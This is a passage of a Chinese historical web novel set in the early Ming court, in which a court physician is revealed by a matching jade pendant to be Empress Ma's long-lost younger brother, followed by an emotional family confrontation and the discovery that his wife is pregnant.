接住之后,马淳是长松一口气。
然而一抬头却发现马皇后居然怔怔地看着马淳手中的玉佩,眼神格外诧异。
马淳是真心没想到娘子会将这块玉佩随身放在药箱里。
而马皇后在愣了一下后,又恢复了平静。
虽知马皇后已见识过,他还是以平稳的声音解说:“容臣为长孙测量片刻体温。”
马皇后机械般的颔首。
马淳温言嘱咐朱雄英侧头张嘴,将体温计小心夹入稚童腋窝。
就在这瞬间,他调整手臂姿势,目光顺势自床榻左侧扫过。
那是床榻东侧阴影浓些的位置,只挂着半幅淡青纱幔,光影明暗交错的角落里,吕氏正垂手侍立在那里。
方才她还在榻边温言安抚,此刻已悄然退至后侧。
她侧身对着床榻方向,目光沉沉,落在锦被边朱雄英微露的小手上,那手因久病仍有些苍白瘦小。
她站得太静了,下颌线条绷得异常紧,眼睑微微下敛。
就在马淳这无意的一瞥里,恰好捕捉到她嘴角那丝不甘和怨恨。
马淳的心猛地一沉,如坠寒潭深处。
他想到了吕氏的身份,想到了皇长孙之位,想到了年幼、尚在马皇后宫中由嫡祖母教养的朱雄英。
宫廷隐秘向来是噬人的毒蛇,他行医至今,见惯了各式各样的眼神,但眼前这一束短暂的目光,却比诏狱里带血的哀求更刺骨,比空印案官吏濒死的恐惧更令他背脊生凉。
那是一种无声的宣示:朱雄英的康复,打碎了某人心中某个至关重要、精心盘算过的未来图景……
第118章 马皇后察觉马淳的身份!!
马淳面色如常地将体温计轻轻取出,对着光线细看:“三十七度八分余,虽已过了高热关头,但尚有余热,确需仔细调理。”
他语调平静地将数字告知马皇后。
便在这时,殿门外靴声由远及近,沉稳有力。
守在殿门口的太监尖细的嗓音扬起:“太子驾到——”
珠帘被两名侍立的小太监齐齐撩起,太子朱标一身暗青色云锦常服,步履稳健却略显匆促地迈步进来。
他眉宇间锁着一缕凝重的倦色,眼圈下有淡淡的乌青,显然是忧心政事,亦或是宫中变故让他难以安寝。
但他目光一触及榻上的朱雄英,那份沉重便如冰雪遇阳般化开,瞬间只剩纯粹的舐犊之情。
他甚至未先向马皇后及吕氏行礼,径直快步到榻前,俯下身子,伸手极其温柔地摸了摸朱雄英微汗的额头,声调放缓到极致:“如何?今日可安适些?头还疼不疼?”
“父王……”朱雄英声音细小,看见父亲,乌黑的眼眸亮了起来,小手努力去够朱标的手指,“不疼了……我想去骑小马……”
朱标反手握住儿子的小手,嘴角逸出一丝极真实的温和笑意,随即抬头看向马淳,眼神关切:“有劳马卿家。雄英现在情形究竟怎样?”
“回太子殿下,”马淳躬身回禀,“长孙殿下疹毒尽退,只是心脉间尚有细微杂音未平,此次病势到底凶险,大伤元气。万幸最凶险的关头已过。现下气血双虚,余热仍存,需得静养为要,悉心调理月余当可稳固根基,日后康复,亦须循序渐进。”
言下之意,还需时日静养,不可有半点闪失。
他谨慎地提了凶险二字,意在提醒这位深陷政务的父亲,他的嫡长子尚未真正脱离隐忧。
吕氏此时已悄然近前一步,立在朱标斜后方稍侧的位置。
马淳见状,也不能多说什么。
宫廷之中的妇人,一向狠毒。
她轻启朱唇,声音柔和,“殿下,方才马大人也如是说的。既凶险已过,陛下与殿下都可安心了。皇长孙乃真龙嫡脉,自有天佑,假以时日,必能活泼如初。”
话是对着朱标说的,眼神却极快地掠过榻上孩子的脸,又温顺垂下。
那“嫡脉”二字,咬得分外清晰。
朱标似被“真龙嫡脉”、“天佑”这些宽慰的祥瑞之词安抚了几分,眉头舒展少许,拍了拍锦被:“好,好,雄英好生歇着,听你祖母与马大人的话。父王前朝还有事,晚些再来看你。”
他起身,这才端正地向马皇后见了礼。
见马皇后一直在盯着马淳看,太子还有些奇怪:“娘,您怎么?”
马皇后没接他的话茬:“你去便是,这里有我们看顾。莫太劳碌了身子。”
吕氏也跟着行礼,温婉如常,一丝不乱。
然而马淳心底那片冰棱,却沉得更深了。
又温言安抚了朱雄英几句,看着孩子精神尚可,朱标便转身离去。
马皇后也道:“雄英再歇歇,祖母带马卿家去侧殿开方子。”
她目光示意吕氏。
吕氏会意,上前一步,极自然地接过侍奉皇孙汤药的差事,柔声道:“娘娘且忙,雄英这里,自有臣妾守着。”
她端起旁边温着的药碗,那动作的细致如同呵护最珍稀的玉璧。
马淳随马皇后行至偏殿东侧的小书斋。
熏香清淡,几案上备好了纸墨,铺陈着一张特制的宫笺。
偏殿的静室里,宫女早已无声退下,将这方寸之地的空气留给了两人。
马皇后背对着马淳,良久未动。
马淳垂手侍立。
终于,马皇后转过身来,脸上已无方才在皇孙榻前的温煦,那双凤目沉静如深潭,直直落在马淳脸上。
“小马大夫,”她的声音不高,平稳而清晰,“方才你为雄英查看体温时,袖中滑落了一物,虽被你即时接住,本宫却也瞧了个大概。”她顿了顿,“那枚玉佩,能拿给本宫看看吗?”
平静的语气下,马淳却感受到一股无形的压力。
他心脏微微一缩,知道瞒不过去了。
这位皇后娘娘洞察秋毫,那玉佩虽只惊鸿一瞥,其形制显然已让她起了疑窦。
他定了定神,深吸一口气,没有任何迟疑。
妻子徐妙云早已告知,这枚玉佩与皇后手中的那枚乃是一对。
此刻遮掩或是狡辩,只会显得更加鬼祟,徒增怀疑。
马淳躬身,从官服袖袋的深处取出了那枚用锦帕包好的玉佩。
他解开帕子,双手托着玉佩,往前轻轻一递。
“娘娘圣鉴,便是此物。”他的声音不卑不亢,带着大夫特有的沉静。
马皇后的目光瞬间凝结在那玉佩上。
她几乎是屏住了呼吸,上前一步,极为小心地将玉佩拈了起来。
当那熟悉到骨子里的纹路和微凉触感完全落入掌中时,马皇后的手难以抑制地轻颤了一下。
她将玉佩举到眼前,凑近了细看。
日光透过莹白的玉质,显露出内部细微的纹理。
蟠螭盘绕,衔着灵芝,那繁复却充满古拙韵味的雕工……
尤其是玉佩背面,那两个刻痕清晰的篆字——“世昌”!
这纹路,这刀法,还有这名字……分毫不差!
与她珍藏多年的那枚几乎一模一样!
无数的回忆碎片在她脑海中飞速撞击、翻涌。
颠沛流离的童年,父亲模糊却温和的面容,离别时父亲塞在她手心里的玉佩,那句哽咽的嘱托:“秀英,这一枚你戴着。另一枚爹收着,等……等日后你寻亲……”
后来,她遇到了朱元璋,一路打拼,成为皇后,往事尘封,那枚玉佩便成了唯一的念想,压在妆匣最深处。
只在夜深人静或生辰偶尔取出看看。她只当父亲早就不在世了,另一枚玉佩也早已不知流落何方。
何曾想过,竟会在此时此地,在眼前这位屡创奇功、被她与重八都颇为赏识的年轻御医手中,见到这另一枚!
时间仿佛在这一刻被无限拉长。
马淳能清晰地看到她脸上血色褪去,眼神剧烈地波动,从难以置信到震惊,再到一种深切的悲恸和迷茫交织,最终凝聚成一种复杂的审视,重新落在他的脸上。
她的目光细细描摹马淳的五官轮廓。
眉宇间那份沉毅坦荡,鼻梁的线条……
过去只觉得他气质独特,如今却在这独特的形貌里,仿佛竭力在捕捉一丝可能与久远记忆重叠的影子。
“难怪……难怪初见你时总有一种莫名的熟悉感。”
……
第119章 重八!他是我弟弟啊!!
马淳坦然承受着这审视的目光。
他知道,此刻任何多余的解释都是苍白的,一切的答案都在这枚玉佩里,也在皇后自己的记忆中。
马皇后紧紧攥着玉佩,她深吸了几口气,强行压下心口翻腾的惊涛骇浪。
“此物……何处得来?”每一个字都带着千钧重负。
马淳没有回避,迎着她的眼神,清晰答道:“回娘娘,这是微臣亡父留下的唯一遗物。家父名讳,正是马世昌。”
“马……世……昌……”这三个字从马皇后唇间缓缓念出。
父亲的名字……终于清晰地在耳畔响起。
“他……”马皇后的声音哽住了,似有千言万语堵在喉咙里。
问他是怎么去世的?
问他这些年在哪里?
问他为什么不来寻自己?
最终,只化作一个最简单、也最沉重的问题,“何时……没的?”
马淳的眼神黯淡下去,“回娘娘,是洪武十四年冬末。家父带着微臣,从徽州府一处深山出发,本想到京城……寻访一位故人,或许能为微臣谋个前程。
“可惜……一路风霜兼程,家父本就染病体弱,到达金陵城外秦淮河畔,小青村附近时,已是强弩之末。
“刚……刚安顿下来,没几日便病逝了。”
他微微垂首,避开了马皇后灼痛的目光,“遗言……遗言也只是叫微臣好好保管此物,莫要丢失。至于寻亲之事……他再无力说及详情。”
“小青村……”马皇后低声重复着这个地名,心头猛地一刺。
她骤然想起,自己初次听闻“小神医马大夫”的传闻,正是在小青村!那次水患后爆发的瘟疫,京城震动!莫非是……
“你进小青村……”马皇后的声音带着一丝不易察觉的颤抖,“就是因为……”
马淳坦然点头:“是。家父病故于村中,微臣当时也染了疫病,孤身一人,无处可去,便留在了小青村,幸得民间神医,治好了村民也救了自己。
“后来我拜神医为师,便在小青村行医落户。”
马皇后闭上了眼睛。
洪武十四年冬末……小青村瘟疫……那个在绝望中创造奇迹的年轻神医……这一切在瞬间贯通!
难怪!
难怪初见时便觉不同寻常!
难怪他能拿出那等奇药、那等“口罩”!
难怪他懂得如此多闻所未闻的防病之法!
便在这时,一个低沉而极具穿透力的声音已轰然响起,带着一丝愠怒和惯有的霸道:
“咱听说妹子又传那小子来看雄英了?如何?可有好转?”
紧接着,门扉被猛然推开,朱元璋大步流星地走了进来。
他穿着暗红常服,龙行虎步,目光如电,第一时间就精准地捕捉到了静立在一侧的马淳。
然而,下一秒,他充满关切扫向马皇后的目光骤然顿住!
他看到了。
他看到自己的发妻,一向端庄持重的马皇后,此刻竟是面色苍白、眼神恍惚,眼眶泛红,手里死死攥着一块雪白的玉佩,身体甚至在微微发抖!
而那玉佩的样式……
朱元璋的瞳孔剧烈收缩!
那玉佩他见过!
他在妹子珍藏的小盒子里不止一次见过!
那是妹子的生父留给她的念想!
“妹……妹子!”朱元璋骇然失色,从未见过妻子如此失态。
他一个箭步冲上前,完全无视了行礼的马淳,一把扶住了马皇后有些摇晃的肩膀,声音带着罕见的紧张和惊疑,“你怎么了?可是雄英他……”
随即,他那锐利如刀的目光猛地钉在马淳身上,那目光瞬间变得森寒无比,里面充满了滔天的怒火和毫不掩饰的杀气!
“你?!”朱元璋的声音如同淬了冰,“你对皇后做了什么?!!”
龙威震怒,磅礴的杀气瞬间充斥了整个狭小的空间。
两个跟在后面的锦衣卫本能地将手按在了刀柄上,眼神如鹰隼般死死锁定了唯一的外人马淳。
马淳心头猛地一沉。
他刚要开口解释——
“重八!”
一声清亮又带着决然意味的断喝响起。
马皇后,这位刚刚还沉浸在巨大的、复杂的情绪漩涡中的大明朝国母,此刻一步上前,竟直接挡在了马淳与朱元璋之间!
她苍白的脸上已无脆弱,取而代之的是一种急切而坚定的光芒。
她将一直紧紧攥在手中的玉佩,猛地举到朱元璋眼前。
“你看!”她的声音因为激动而微微发颤,却异常清晰有力,“你仔细看这玉!”
朱元璋暴怒的视线被妻子的动作强行牵引,本能地聚焦在那枚玉佩上。
蟠螭灵芝纹……
那熟悉的、早已深刻在记忆里的独特琢工……
还有那两个字——
“世昌……”他喃喃念出那刻痕清晰的篆字,脸上的怒气如同被冰水浇头,瞬间凝固、龟裂,进而被巨大的惊愕和难以置信取代。
他看看玉佩,又猛地抬头。
在马皇后和马淳二人的脸上来回扫。
紧接着,一个荒谬又惊人的念头,如同惊雷般在他脑海中炸响。
“妹子……你……”朱元璋的声音失去了惯常的沉稳,甚至带上了一丝罕见的、困惑的结巴。
他甚至无意识地松开了扶着马皇后肩膀的手。
马皇后的胸口剧烈起伏,仿佛用尽了全身的力气。
“他!马淳!”她的手指向身后的青年大夫,“他是马世昌的儿子!是我同父异母的亲弟弟!是我的弟弟啊,重八!”
轰!
这句话比任何战鼓都更震撼。
朱元璋魁梧的身躯剧烈地震动了一下,脸上所有的愤怒、惊愕、杀意瞬间被一种更巨大的、如同山崩地裂般的震惊所取代。
他死死盯着马淳,又猛地看向马皇后,仿佛在确认这是否一个荒诞的噩梦。
“弟……弟弟?!”他艰难地吐出这两个字,像是不认识它们的含义。
眼神里第一次出现了完全的空白。
那个屡屡展现神奇医术,甚至救过他们妻子和长孙性命,被他们从民间发掘、一直颇有好感,又带着几分探究与审视的年轻大夫,竟然是自己的……小舅子?!
……
第120章你是马家唯一的男丁!你知不知道
站在角落的几名太监和宫女,瞬间面如死灰,噗通几声跪倒在地。
头死死抵着冰冷的金砖地面,连呼吸都屏住了。
他们听到了足以掀起滔天巨浪的皇族秘辛!
马皇后没有理会周围骤变的氛围。
也没有再去看自己那已然懵住的丈夫。
她猛地转过身,凤目牢牢锁在马淳脸上。
震惊、狂喜、难以置信,以及……一种被压抑许久的委屈和哀痛。
“你说!”她的声音陡然拔高,带“你说你父亲……他十四年冬末才过世?就在小青村?!”
不等马淳回答,她的情绪已然激烈,“你明明有这玉佩!你明明见过我!在村里给百姓治病时就见过我的玉佩了,是不是?”
她的目光锐利如刀,显然瞬间便串联起了过往的疑点。
小青村的相遇、她求药、他赠药时都带着这块玉佩。
因为这是父亲留给她的,她都是随身携带。
徐妙云知道玉佩之事,稍加思索便能想到她曾有机会告知马淳。
马淳迎着她灼灼的目光,没有回避,眼底带着一丝歉意,也带着尘埃落定的坦然,“是,娘娘……姐。”
他第一次在宫廷之内,在知晓彼此身份后,唤出了这个称呼。
声音不高,却清晰地传入每个人耳中,尤其是呆若木鸡的朱元璋耳中。
“何时认出的?”马皇后的声音在颤抖,是压抑不住的激动和怨懑。
“有一次在村中,您为那老农妇施舍金银时……”马淳回答得异常平静,仿佛在陈述一个与己无关的事实,“那时便……有些猜想。后来给您问诊开药时,仔细看了那玉佩……”
他没有说出徐妙云的佐证,主要是不想连累妻子被骂。
“既然认得!既然知道!”马皇后的情绪瞬间爆发,积压多年的对父亲的思念、对亲情的渴望,以及对眼前这个弟弟“知情不报”的愤怒和不解,如同火山喷发般汹涌而出,“为何不来见我?!为何不来相认?!”
她的声音回荡在寂静的偏殿,“那是我们的爹啊!他……他至死都没能……没能看看我……你就忍心让我蒙在鼓里?认了姐姐又如何?你是怕什么?!”
朱元璋眼底的杀意早已被惊疑和探究取代。
他似乎也在问同一个问题:为何不认?
马淳看着马皇后泛红的眼眶,心中酸楚。
他深吸一口气,用一种更平静、更坚定的口吻,缓缓道出了自己的心声:
“姐姐,”他再次强调了这个血缘关系,语气恳切而坦然,“不是怕。认您,于我而言,或许能一朝权贵。于您,于陛下,却可能是麻烦的开始。”
他抬起头,目光直视着朱元璋和马皇后:“父亲……走得突然,只留此玉,只言寻亲不易。我自幼随父亲深山隐居,入世后所见所闻,大明天下初定,朝堂更是波谲云诡,暗流汹涌。
“一个从深山来的、无凭无据的‘国舅’贸然出现在这宫阙,意味着什么?
“无数的猜忌、审视、攀附、算计……还有,那些可能针对您的流言蜚语。
“陛下威严厚重,却也……”
“‘外戚干政’四个字,如剑悬顶。”马淳轻声道,“姐姐在宫中已是不易。我只看到您过得……安稳。看到陛下待您情深意重。看到您心怀慈悲,为百姓安康奔波求福。”
他的目光柔和下来,“至于我?治病救人,在小青村或在太医院,能凭一身所学活人无数,便是我的心愿。
“若能在机缘巧合下暗中助姐姐一二,余愿足矣。
“不想因认亲而扰乱您的心境,更不愿因我的出现,给您带来任何不必要的忧虑和困扰。知道您安好,知道爹在您心中尚有印记,便……就够了。”
他的话语坦诚,没有丝毫虚伪。
表达了自己安于清贫、以医术济世的志向,也清晰地表达了对卷入皇权漩涡、成为可能影响皇后平静生活因素的那份顾虑。
然而,这番用心良苦的解释,却并未平息马皇后的悲愤与巨大的失落感!
“够了?”马皇后眼中瞬间涌上泪水,那泪水却带着滚烫的怒意,“你一句‘够了’就够了吗?!”
她猛地一步上前,那股被压抑的委屈和对他“逃避责任”的愤怒达到了顶点。
啪!
一声清脆、响亮的耳光声,骤然打破了书房里诡异的宁静!
马皇后竟扬手,用尽全身力气狠狠扇在了马淳的脸上!
马淳被打得猝不及防,头猛地一偏,脸颊瞬间红肿起来。
他僵在原地,眼中是真实的错愕。
朱元璋也被这突如其来的变故惊得微微张开了嘴,连脸上的震惊都凝固了。
“混账!”马皇后的声音带着哭腔,更是盈满了恨铁不成钢的痛心疾首和无法排解的哀恸,“马淳!你不孝!更是蠢!懦弱!!”
她胸膛剧烈起伏,手指指着马淳的鼻子,指尖都在发颤:“你知不知道你现在是什么?!你是爹唯一的骨血!是我们马家现在唯一的男丁!”
她的声音拔高,尖锐而悲伤:“马家!我们马家还有何人?!
“爹临终前……他临终前……是否还念着远在乱世中失散的我?
“他寻了我一辈子!护着你了此残生,临终前还想着带你寻姐,就是想着给马家……给我们留个念想!留一丝血脉传承下去!他念着马家的根啊!”
泪水终于汹涌而出,滑过她激动而涨红的脸颊。
她看着眼前这个本该是至亲、却选择“躲起来”的弟弟,心如刀绞:“可你呢?!爹走了,你就心安理得地藏在民间,以为不给我添乱就是尽孝?以为不当国舅就是体贴我?!”
她深吸一口气,每一个字都像重锤,“你怕连累我?可你想过爹在天之灵吗?!想过他临终前的遗愿吗?!想过这世上还有一个姐姐,也在苦苦寻找亲人的音讯、渴望一丝血脉的温情吗?!”
“你把自己藏起来,把血脉亲情当成负担一样割舍!这不是体贴,这是辜负!是对爹最大的不孝!是对我这个姐姐最大的残忍!”
马皇后的声音在最后化为一句沉痛的控诉:“更是……对你自己最大的逃避和不负责!马家的香火,马家的后人,难道就因为你所谓的‘怕麻烦’,就要在深山野岭里无声无息地断绝了不成?!”
话音落下,偏殿里一片死寂。
只有马皇后压抑不住的、带着无尽悲恸和愤怒的喘息声。
马淳脸上火辣辣的疼,但这疼痛远不及内心被撕裂的感觉。
他看着姐姐悲痛欲绝的脸,那句“马家唯一的男丁”、“香火断绝”如同重锤砸在他心口。
他一直固执地想远离皇权漩涡,想保护这份来之不易的亲情不被污染,却原来从未真正理解过姐姐对血脉延续、对家族遗愿那种刻骨的执念和对父亲沉甸甸的亏欠感。
他所谓的“保护”,成了最深的伤害……
第121章 你媳妇知不知道你是国舅爷?
“姐……”马淳轻声道,“您身体不好……别太激动……是弟弟……错了……”
“你给我闭嘴!”马皇后一声厉喝,那声音带着破音,“跪下!你给我跪端正了!”
马淳哪里还敢迟疑,立刻挺直腰背,双膝结实地钉在冰冷的地砖上,姿态前所未有地恭谨。
这一刻,他真真切切感受到了血脉长姐那不容置疑的天然威压,那是远超出皇后威仪的另一种碾压。
一直处于震惊漩涡边缘的朱元璋,此时也被妻子的暴怒彻底惊醒了。
在他的印象中,他的“妹子”马皇后,永远是端庄沉静、智慧从容的代名词。
即使面对最棘手的朝局、最激烈的争辩,也从未失态至此。
他从未见过她这般涕泪纵横又怒不可遏的样子。
这怒火的核心,全对着这个突然从天而降的小舅子。
看着妻子气得浑身发抖,朱元璋心疼万分,几步上前,宽厚有力的手掌立刻覆上马皇后冰凉颤抖的手背,试图用自己的温度去温暖她。
他扭头瞪向跪着的马淳,脸上满是斥责:
“马淳!看你干的好事!平日里瞧着你是个稳重明白人,处事有条有理,怎么偏偏在这天大的事情上,办出这等糊涂蠢事来?看把你姐……把你亲姐姐气得!”
朱元璋本想说“皇后”,话到嘴边硬生生改成了“亲姐姐”,他指着马淳,“还不快给你姐磕头认错!说出朵花来也得把这份错认了!”
其实朱元璋心里清楚,妻子如今心头翻涌的情绪,是失而复得狂喜混杂着被至亲“遗弃”的巨大委屈。
那份欣喜被愤怒暂时盖过了,但绝没消失。
他出声呵斥,既是心疼妻子,也是想尽快引导妻子将那郁结的怒气发泄出来,更是给马淳一个明确的台阶——赶紧认错,安抚你姐!
马淳会意立刻俯下身,“咚”的一声,额头结结实实磕在金砖上。
再抬起来时,额角微微发红,眼神诚恳而急切:“姐!我错了!是弟弟愚蠢!是我猪油蒙了心,光想着……想着省事,不想应付那些人情往来,不想招惹麻烦……只图自个儿在医馆那小天地里清静……我无心的,真的!求姐姐息怒!保重身体啊姐!”
马皇后胸膛依旧剧烈起伏着,那晶莹的泪珠还在往下落,但怒气似乎被这实实在在的一个响头冲淡了一分。
她没有立刻理会马淳后面那些关于“懒散”“不想交际”的解释,那双犹带着泪光的凤目锐利地捕捉到了另一个关键点:
“别扯那些没用的!”马皇后打断马淳的絮叨,语速极快,“我问你!你媳妇徐妙云!她是不是早就知道此事?!”
她的目光紧紧锁住马淳,不放过他脸上任何一丝细微变化。
这是一个非常核心的问题。
若徐妙云嫁他之前就知他是皇后的弟弟,那……
马淳没有丝毫犹豫,立刻回答,语气是斩钉截铁的维护:“知道!她是知道的!但不是在成婚前!是成婚后,有一次她在我这儿偶然见到这枚玉佩,惊讶地说起看见过您佩戴着一枚几乎一模一样的玉佩!
“上面的纹路篆字,她都记得!是那个时候,我们才真正确定,您就是我爹临终前念念不忘的……我失散在外的亲姐姐!”
马皇后和朱元璋闻言,几乎同时极轻微地松了口气,紧绷的神情都有一瞬间的松弛。
这个答案至关重要。
这意味着徐妙云并非攀龙附凤之辈,她对马淳是出于真心实意,嫁给的是一个她眼中踏实可靠、心怀仁术的民间医者。
这符合马皇后对徐妙云的所有认知印象,也符合朱元璋对徐达家风传承的判断。
马皇后心思电转,声音陡然又变得严厉起来:“她既然知道!知道得比你还笃定!那她就没劝过你?!
“马家的血脉!唯一的男丁!延续香火是多大的事!你当我这个姐姐是摆设?会连这点担当都没有?!
“马家难道只剩下你一个人孤魂野鬼飘在人间才是安生?!
“她难道就没规劝你这个糊涂蛋来找我?!”
面对姐姐凌厉如刀的追问,马淳的声音低了下去,带上了一丝无奈和执拗:“劝……是劝过的。她提过好几次。但……但是……”
他抬起头,看着盛怒的姐姐,最终还是选择坦白,“是弟弟……是我……是我坚决拦着她不让说的。
“我当时……我当时只想守着医馆,清清净净地做我的小大夫,觉得那些荣华富贵、宫廷纷扰都不是我想过的日子。
“我……我以为那是远离是非,是安稳,是……是对您也是一种……”
“好!好得很!一个比一个主意大!一个藏着不说!劝也不听!合着你俩能耐了!”马皇后闻言,那好不容易压下去些许的怒火如同浇了油一般,“腾”地又烧了起来。
她的脸色铁青,对着跪着的马淳已经气得说不出话来,猛地一甩袖,豁然转身,对着紧闭的殿门外厉声高喊:
“蒋瓛!!”
声音带着不容抗拒的威势,穿透了厚重的殿门。
守在殿外、屏息凝神恨不能自己聋掉的锦衣卫指挥使蒋瓛,浑身一个激灵,立刻躬着身子,几乎是小跑着推开殿门,闪身进来。
“臣在!”蒋瓛头也不敢抬。
他就在门外,马皇后喊得那么大声,他都听到了。
他心里惊呼,我的个老天爷啊!
我天天和第一国舅勾肩搭背的,还跟马淳说过,有老哥罩着你,任何地方你都平趟。
现在想想真是笑话。
人家是皇后娘娘的亲弟弟啊。
马皇后指着外面,语气凛冽:“立刻!去把徐妙云,给我带进宫来!骑马去!
“限你一个时辰之内把人带到本宫面前!
“本宫倒要亲自瞧瞧,这马家的新妇,和我这‘聪明绝顶’、‘能耐通天’的弟弟,到底是什么成色!
“看你们还有没有把我这个姐姐,把大明皇后放在眼里!”
“臣遵旨!”蒋瓛二话不说,立刻领命,站起身躬身退出。
马蹄声很快在宫道上急促响起。
殿内,气氛再次凝固,只剩下马皇后努力平复却依旧有些急促的喘息,以及她因情绪激动而微微泛红的眼眶。
朱元璋站在她身边,握着她的手紧了紧,无声地传递着支持。
他看着跪着的马淳,无奈地摇了摇头,递过去一个“你小子自求多福吧,咱也帮不了你”的眼神。
马淳只能垂着头,脸颊的灼痛提醒着他刚才那一巴掌的分量。
时间一刻一刻的过去。
朱元璋搀扶着马皇后走到旁边的檀木椅上坐下,亲自倒了杯温茶递到她手中,低声劝慰着。
终于,外面再次传来急促的脚步和低低的通禀声。
殿门再次开启,蒋瓛风尘仆仆地出现在门口,身后跟着一个纤瘦熟悉的身影。
徐妙云发髻略显匆忙的挽着。
她一手习惯性地护着自己的腹部,步履还算平稳。
她一眼就看到殿内跪在地上的马淳。
看到他脸上那刺目的红痕时,眼眸骤然一缩,心疼和惊慌同时显现。
徐妙云深吸一口气,在离马淳两步远的地方,稳稳地屈膝跪下,额头同样恭敬地触地,声音清越而带着一丝不易察觉的微颤:
“臣女徐妙云,参见陛下,参见皇后娘娘。”
她的双手,依旧下意识地护在小腹上。
这个细微的动作,并没有逃过此刻全副心神都在审视她的马皇后的眼睛。
然而,就在徐妙云话音落下的瞬间。
端坐在椅上的马皇后,周身那积蓄已久的滔天怒火,突然像是被投入冰窟一样,熄灭了。
马皇后的目光,死死地钉在了徐妙云那小心翼翼地护着小腹的双手上……
第122章 马皇后:你媳妇比你懂事得多!
“妙云?”马皇后的声音突兀地变了调,她甚至微微前倾了身体,目光灼灼,“你……你是不是……怀了?”
轰——!
跪在地上的马淳如同被天雷击中,整个人僵了一瞬。
他猛地抬起头,眼睛直直瞪向自己的妻子“娘子?”你……什么时候的事?我怎地……半点不知?”
马皇后霍然起身!
那刚刚才消融下去的愤怒,如同被点燃的干柴,轰地一声炸了开来!
她甚至未等徐妙云答话,劈手指着马淳,声音又恢复了锐利“马淳!你还有脸问?!你是干什么吃的?你是个坐堂的大夫!每日病患脉象你摸得清清楚楚,轮到自家娘子身上,你就成了睁眼瞎?!
“‘半点不知’?好一个‘半点不知’!你平日那点心思全在诏狱的犯人、东宫的小爷身上,连自己媳妇儿的身体都不放在心上!”
她的声音陡然拔高,“你跪好了!脊梁骨给我挺直了!你媳妇肚子里怀着马家的根苗,是马家嫡亲的血脉!这等大事你竟懵懂无知?
“万一……万一在路上、在宫门前有个什么闪失,影响了马家子嗣的延续……那就不止打断你的腿那么简单!
“这是天大的不孝,对祖宗的不敬!到时候,我亲自来处置你这个不长眼的东西!”
徐妙云原本紧张的心情,随着马皇后这勃然大怒,蓦地松开了紧绷的弦。
是了!
悬在她心头巨石骤然落地。
谎言总归是要戳破的,她也是松了口气。
认了总归一直悬着好。
想通了这点,徐妙云心底油然生出尘埃落定的踏实感。
她甚至觉得皇后娘娘此刻的怒容,反而比刚才那冰冷的气场要让她安心得多。
那是一种……属于家人的急切关心,激烈到近乎粗粝,却滚烫真实。
她微微抬眼,正好撞见马淳被皇后疾言厉色骂得几乎抬不起头的窘迫模样。
她急忙垂下眼帘,声音细弱蚊呐,“回……回娘娘话,弟媳……我也是今早起来,唤了贴身丫头拿了脉枕,自己仔细摸过的……才、才敢确定……还不曾十分稳当……”
她的声音越来越小,“……想着寻个合适的时机,再给……给他一个惊喜……不成想……”
徐妙云没有再说下去。
“惊喜?!”马皇后一跺脚,又是好气又是好笑。
满腹的火气终究是被眼前小妇人这副模样给冲淡了大半。
连带着“马家苗裔”确凿无疑的巨大喜悦弥漫开来。
“天大的惊喜!好孩子,你瞒得好,也瞒得对!”她立刻丢开还跪在地上、兀自陷在失职自责中的马淳。
三步并作两步抢上前去,伸手紧紧攥住了徐妙云那只护在小腹上的手。
那动作是前所未有的轻柔,仿佛捧着一块绝世美玉。
“快起来!快快起来!”马皇后将徐妙云扶起,“地上寒气重!你现在不是一个人了,是‘双身子’的人了!马虎不得半分!”
她亲自搀扶着徐妙云站稳,随即,她像是才想到什么,猛地转头看向旁边被遗忘了许久的丈夫,“重八!你还杵在那里做什么?快给妙云挪张温软些的锦墩来,要铺上厚厚褥子的!再叫人端一盏热的甜羹来,暖暖身子!快去!”
自打徐妙云踏进这偏殿,目睹妻子那百变心绪的朱元璋,早已从最初的震怒调整成了默默静观。
此刻他终于找回了一点存在感。
看着妻子脸上的狂喜和小心翼翼,这位开国帝王也像被春风熨帖过。
他对马皇后那副“有了马家苗裔万事足”的模样有些哭笑不得,但也真切地为她欢喜。
他没多言,只微一点头,殿内侍立的大监立刻行动了起来。
一张铺着厚厚云锦丝褥的紫檀锦墩,被悄然挪到徐妙云身后。
另一名宫女端着一只冒着丝丝热气的白玉盏,小步趋近。
朱元璋的目光落在徐妙云身上,他虽未明说,但那意思很明白:此乃功臣之后,如今更身负马家血脉,自然是体面要紧。
马皇后终于缓过一口气来。
她立在徐妙云身前,转过身,凤目再次投向蔫头耷脑的亲弟弟。
这一次,她开口,声音沉稳了许多,不复先前的激烈,“马淳,你也别像个锯嘴葫芦似的闷着了。
“我今日失态至此,皆因此一事。方才你拿出你那玉佩,我已亲眼验证过,分毫无差!那是我父亲、也是你父亲的遗物!
“背面‘世昌’二字,就是证明!”
“没错,我,马秀英,就是你同父异母的亲姐姐!
“你是我们马家流落在外的亲骨肉!是我的亲弟弟!”
这话如同定海神针,将“皇后之弟”的名分彻底砸实,不容置疑。
徐妙云听得真切,即使心里早有准备。
她的视线再次落在徐妙云身上:“妙云,既已有了淳儿这块玉佩为证,你又从他口中知晓我也有同款之物,还亲眼见过我佩戴……你们成婚之后,想必早已心知肚明这层关系。
“缘何……缘何你亦只字未提?难道我这个做姐姐的,这般可怕?
“马家骨肉团聚,不是天大的好事?还是……你二人当真觉得,认了这门亲,是引火烧身的祸事?”
这问题直指核心。
马皇后急于知道答案,这关乎她视为骨肉亲人的弟弟夫妇对她真实的态度。
锦墩之上,徐妙云放下手中的玉盏,抬起头,迎向马皇后的目光,谨慎而真诚地开口:“娘娘明鉴,当初从夫君这里亲口确认玉佩来历,又与曾在娘娘身边侍疾时所见相印证后,弟媳便已知晓。
“只是……弟媳思虑,确实重了一些。想着天下初定,朝堂内外千头万绪。陛下圣明天纵,宵衣旰食,娘娘您亦夙夜忧劳,为国为民……”
徐妙云顿了一顿,“……而夫君他,彼时尚是一介布衣郎中,毫无根基背景。骤然以国舅身份面圣,极易引来无穷无尽的攀附、猜测,更甚者,是难以预料的攻讦流言。
“外戚二字,份量何其重?弟媳……实在不敢因私情之故,贸然搅动朝堂波澜,更怕给娘娘带来非议困扰。”
“再者,那时弟媳见娘娘处事公正无私,心系天下寒黎,待夫君亦是以寻常人才相看委用,委以重任……想着这般纯粹的关系,于夫君行医济世、于娘娘清名,或许反倒是福。
“弟媳……也未曾深切思量过,娘娘您贵为国母,心底对血亲骨肉、对马家门户延续……竟怀有如此深切的期盼。”
话语至此,意思已经十分清晰。
她的沉默,是出于对大局稳定、对皇后清誉、甚至对马淳相对单纯行医生涯的保护考量。
是一种“退让以求保全”的自以为是,而非不敬、不愿认亲。
马皇后沉默地听着。
